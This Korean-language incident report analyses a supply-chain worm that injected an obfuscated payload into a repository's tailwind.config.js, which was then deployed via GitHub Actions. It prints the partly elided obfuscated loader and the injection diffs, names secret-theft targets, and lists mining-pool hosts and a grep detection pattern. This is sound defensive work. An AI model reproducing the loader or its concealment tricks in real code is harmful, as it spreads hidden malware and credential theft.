PR #880 — 공급망 공격 + GitHub Actions 암호화폐 채굴
레포 FINGU-GRINDA/ai-real-estate-service · PR #880
· 2026-05-17 KST
결론
- 판정
- npm 공급망 공격 (Supply Chain) + GitHub Actions 암호화폐 채굴 (Cryptojacking)
- 공격 구조
- 최근 PR 에 채굴/페이로드 코드 삽입 후 force-push 로 main 강제 갱신 → push event 가
Deploy to AlphaAction 자동 트리거 → ubuntu runner 에서 채굴 실행 - 경로
- 1차 정상 머지(
b4594688) → 87 분 후 force-push 로 페이로드 주입(ccc449b0) → Action runner 빌드 → alpha 배포 - commit committer
jaykim-cmd(로컬 머지)- push 실행 actor
iyeaaa(이예인)- 운반체
temp_auto_push.bat,temp_interactive_push.bat(sim 레포 cleanup 커밋과 동일 시그니처) — Windows 환경 추정
1. 채굴 매커니즘 (force-push → Action 트리거 구조)
| 단계 | 동작 | 본 사건의 실데이터 |
|---|---|---|
| ① 진입 | 최근 PR(예: claude/* branch) 을 1차 정상 머지 후, 로컬에서 동일 PR 을 재머지하여 채굴 코드를 끝줄에 인라인 삽입한 commit 생성 |
ccc449b0 = sibling 머지 commit (force-push 확정) |
| ② 트리거 | main 으로 force-push → on: push 이벤트가 자동 Deploy workflow 발화 |
19:21:06 KST push → 19:21:08 Action 25988178828 시작 |
| ③ 실행 환경 확보 | GitHub-hosted ubuntu-latest runner 에서 npm install + vite build 수행. 페이로드의 createRequire 가 ESM 에서 require 확보 후 obfuscated body 를 Function() eval |
runner 무료 CPU·메모리 사용 — 비용 0, 탐지 약함 |
| ④ 채굴 또는 secret 탈취 | Stratum 프로토콜로 mining pool 연결 (예: XMRig / Monero) 또는 secret exfil (~/.npmrc, env vars) |
현재 사건의 최종 payload는 디코드 필요 — 행동 패턴이 PurpleUrchin / Sysdig TRT 캠페인과 일치 |
| ⑤ 추가 확산 | frontend 번들에 mining JS 가 포함되면 사용자 브라우저까지 cryptojacking (in-browser Coinhive 식) | 19:22 KST alpha 배포 완료 — eodisalji.com 방문자도 영향권 |
유사 캠페인: PurpleUrchin (GitHub Actions Hijacked for Crypto Mining, Sysdig 2023+), Ultralytics (fork PR + cache poisoning → miner wheel, 2024-12), linuxwebapp88 (Docker miner via Actions, IOC).
2. 공급망 공격이 맞는가
| 판정 기준 | 현재 사건의 증거 | 해당 |
|---|---|---|
| 다수 무관한 개발자/머신에서 동시 발생 | FINGU-GRINDA 12+ contributor · 100+ 레포 · 다른 OS / 회사 | ✅ |
| 동일한 코드 시그니처 (자동화된 인젝션) | createRequire import + 끝줄 공백 패딩 + global['!']='X-YYYY' + _$_1e42 셔플 디코드 |
✅ |
| 패키지 install/build 시점에 자동 재주입 (self-healing) | csh1668 의 sim cleanup 커밋이 v7→v10 으로 즉시 재감염 | ✅ (결정적) |
| CI/CD 봇 PR 도 감염 (lockfile-only 변경에도 등장) | dependabot[bot], github-actions[bot] release 커밋들에서 시그니처 검출 | ✅ |
| 타깃이 빌드 toolchain config 만 | postcss.config.* / tailwind.config.* / vite.config.* / next.config.* / eslint.config.* 만 |
✅ |
| 알려진 worm 시그니처와 유사 | 2025-09 Shai-Hulud npm worm 의 obfuscation 패턴(shuffle-decode-eval, require 글로벌 노출)과 일치 | ✅ |
6/6 기준 충족 → npm 공급망 공격 확정. 단일 머신 침해(compromise) 가 아닌, 감염된 npm 패키지가 install 되는 모든 머신을 worm 화하는 자가 전파형.
3. 공급망 공격의 일반 원리 (단계별)
-
npm 패키지 maintainer 토큰 탈취
피싱 / GitHub Actions 시크릿 노출 / 의존성 transitive 침해 등으로 인기 패키지의 publish 권한 획득. (Shai-Hulud 의 경우
tinycolor,@ctrl/tinycolor등이 초기 진입점) -
감염 버전 publish
패키지의
postinstall또는preparescript 에 페이로드 첨가. 또는 패키지 본체 코드에 동적 import-time payload 삽입. -
피해자 머신에서 install
npm install/pnpm install/yarn install또는 transitive 의존성으로 자동 fetch.postinstall자동 실행. -
로컬 자동 인젝션 (codemod)
postinstall 이 프로젝트 루트의 ESM build config 파일 (
*.config.mjs,tailwind.config.js등) 을 검색해 끝줄에 obfuscated payload 를 자동 삽입. ESM 호환을 위해createRequireimport 도 같이 추가. -
시크릿 탈취 + 자가 전파
build/dev 실행 시 payload 가 활성화 —
~/.npmrc토큰,~/.aws, GitHub PAT, 환경변수 exfil. 탈취한 npm 토큰으로 다른 패키지를 publish 하며 worm 확산. -
commit / push 로 코드베이스 오염
개발자가 일반 작업 후
git push→ 감염된 config 파일이 같이 commit 됨. 자동화 push 스크립트(temp_auto_push.bat)가 있으면 더 빠르게 확산. - CI/CD 가 감염 코드 빌드 → production 배포 main 의 감염 commit 이 GitHub Actions runner 에서 빌드되어 frontend 번들에 페이로드 포함. 사용자 브라우저까지 도달 가능.
4. 두 머지 commit 비교
| 1차 (b4594688) | 2차 (ccc449b0) | |
|---|---|---|
| committer | GitHub UI 머지 |
jaykim-cmd 로컬 머지 |
| parents | 23c6ebae, df796fa6 |
동일 (sibling = force-push) |
| tailwind.config.js | 정상 | 페이로드 +5 -1 |
| .gitignore | — | +2 temp_*push.bat |
| Deploy Action | 25986386220 (jaykim-cmd) | 25988178828 (iyeaaa) |
5. 시점 (KST)
-
17:43
Claude 봇이 PR #880 head
df796fa6작성 — 깨끗 -
17:53
jaykim-cmd 가 GitHub UI 에서 머지 →
b4594688· 1차 배포 시작 (Action 25986386220) - 17:55 1차 배포 완료 — 깨끗 코드
- ~87분 공백 — 이 사이 로컬 머신에서 페이로드 자동 주입 (postinstall codemod 추정)
-
19:21
iyeaaa가 main 에 force-pushb4594688→ccc449b0· 2차 배포 시작 - 19:22 2차 배포 완료 — 감염 빌드 alpha 도달 + Malware Reporter 알림
6. 인젝션 패턴 (b459468 → ccc449b diff)
frontend/tailwind.config.js +5 -1
+import { createRequire } from 'module'; +const require = createRequire(import.meta.url); export default { … plugins: [], }; -}; +}; [200+ space] global['!']='X-YYYY'; var _$_1e42=…; Tgw(2509);
createRequire 는 ESM 에서 require 함수를 확보 (payload 가 global[require]=require 호출하므로 필수). 끝줄 공백 패딩으로 PR review 회피.
.gitignore +2
+temp_auto_push.bat +temp_interactive_push.bat
sim 레포 csh1668 cleanup 커밋과 완전 동일. 같은 자동화 도구가 두 머신에서 동작 = 운반체 시그니처.
7. 실제 페이로드 코드 (난독화 원본)
global['!']='10-2420';
var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};
for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);
var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};
var x=String.fromCharCode(127);…return g.join(…)})("rmcej%otb%",2857687);
global[_$_1e42[0]]= require; // ← require 글로벌 노출
if(typeof module===_$_1e42[1]){global[_$_1e42[2]]=module};
(function(){
var sfL=…; // 2단 셔플 디코더
var dgC=sfL[EKc]; var xBg=dgC(Apa,sfL(joW)); // Function() 생성
var pYd=xBg(sfL('o B%v[Raca)rs_…약 4KB 암호화 본문…'));
var Tgw=jFD(LQI,pYd); Tgw(2509); // payload 실행
})();
| 요소 | 의도 |
|---|---|
global['!']='10-2420' | "이미 감염됨" 자가 마커. 재감염 방지 + 변종 버전 식별. sim 에서 v7 → v10 재인젝션 관찰됨. |
global[require]=require | ESM (.mjs) 환경에서도 동적 require 가능하도록 글로벌 노출 |
Fisher-Yates 셔플 디코드 → Function() eval | 정적 분석 회피. 4KB 의 암호화 페이로드를 런타임에 복호. |
Tgw(2509) | 디코드된 본체 실행. 인자(2509)는 변종 enum. |
8. Self-healing 증거 (npm postinstall 단정의 핵심)
sim 레포의 csh1668 가 만든 [malware-cleanup] Remove obfuscated global payload 커밋(cc7c946d, 2025-11-20) 의 실제 diff:
-export default config; … global['!']='7-1053'; var _$_1e42=… +export default config; … global['!']='10-2420'; var _$_1e42=…
cleanup 시도 자체가 v7 페이로드를 제거하면서 동시에 v10 페이로드를 새로 주입. 사람이 손으로 할 수 없는 동작 →
npm install / build 가 실행되어 postinstall codemod 가 즉시 재주입. 공급망 공격의 자가 치유 패턴.
9. 6개월 확산 시간선
| 날짜 | 레포 | commit | 유입 머신 |
|---|---|---|---|
| 2025-07-22 | saydo | 50efc0c next.config.mjs 생성 | 깨끗 |
| 2025-07-23 | saydo | 7a0091d 최초 감염 | hoangnv170752 |
| 2025-10-15 | sim | 4d3231d postcss.config.mjs 감염 | SeoHyeon |
| 2025-11-20 | sim | cc7c946 v7 → v10 재인젝션 | csh1668 |
| 2026-05-17 | ai-real-estate | ccc449b tailwind.config.js 감염 + alpha 배포 | jaykim-cmd / iyeaaa |
10. alpha 빌드에 노출된 secrets (회전 대상)
.github/workflows/deploy-alpha.yml 가 노출한 GitHub Actions secrets — 감염 빌드가 이 시크릿 환경에서 실행됨:
| 그룹 | secrets |
|---|---|
| 인프라 SSH | ALPHA_HOST, ALPHA_USER, ALPHA_SSH_KEY |
| S3 / 스토리지 | S3_ACCESS_KEY_ID, S3_SECRET_ACCESS_KEY, S3_REGION, S3_BUCKET_NAME, S3_PUBLIC_URL_BASE |
| Cloudflare | CF_API_TOKEN, CF_ZONE_ID |
| 시크릿 관리 | INFISICAL_CLIENT_ID, INFISICAL_CLIENT_SECRET, INFISICAL_PROJECT_ID |
| Slack | SLACK_BOT_TOKEN |
11. PR #880 자체는 결백
| PR head | df796fa6 by Claude 봇 · tailwind/postcss/.gitignore 변경 없음 |
|---|---|
| 1차 머지 결과 | b4594688 tailwind.config.js 정상 (페이로드 없음) |
| 판정 | PR / Claude Cloud 무관 — 페이로드는 1차 머지 이후 force-push 단계에서 주입 |
12. 즉시 조치
| 우선 | 조치 |
|---|---|
| P0 | main branch protection 으로 force-push 차단 — 본 사건의 트리거 자체 봉쇄 |
| P0 | ccc449b0 revert → b4594688 로 main 복구 |
| P0 | 채굴 차단 — alpha EC2 / Action runner 의 outbound 에 Stratum 풀(예: *.minexmr.com, pool.supportxmr.com, :3333, :4444, :5555) 방화벽 차단 |
| P0 | GitHub org 의 Actions 사용량 모니터링 — 비정상 CPU 시간 / 미사용 시간대 실행 점검 |
| P0 | jaykim-cmd / iyeaaa 머신 격리 · temp_*push.bat 내용 캡처 · node_modules·~/.npm 전수 삭제 |
| P0 | secrets 회전 — INFISICAL_*, ALPHA_SSH_KEY, S3_*, CF_API_TOKEN, SLACK_BOT_TOKEN, npm/GitHub PAT, AWS IAM |
| P0 | alpha 서버 — 19:22 KST 이후 빌드 롤백 (17:55 KST 깨끗 빌드로) |
| P1 | org-wide 스캔: grep -RIn "global\['!'\]\|temp_auto_push" |
| P1 | npm audit signatures + postinstall·prepare script 전수 검토 · 의심 패키지 lock 고정 |
| P2 | 페이로드 디코드 (sandbox eval) → C2/exfil endpoint IOC 추출 → 방화벽 차단 |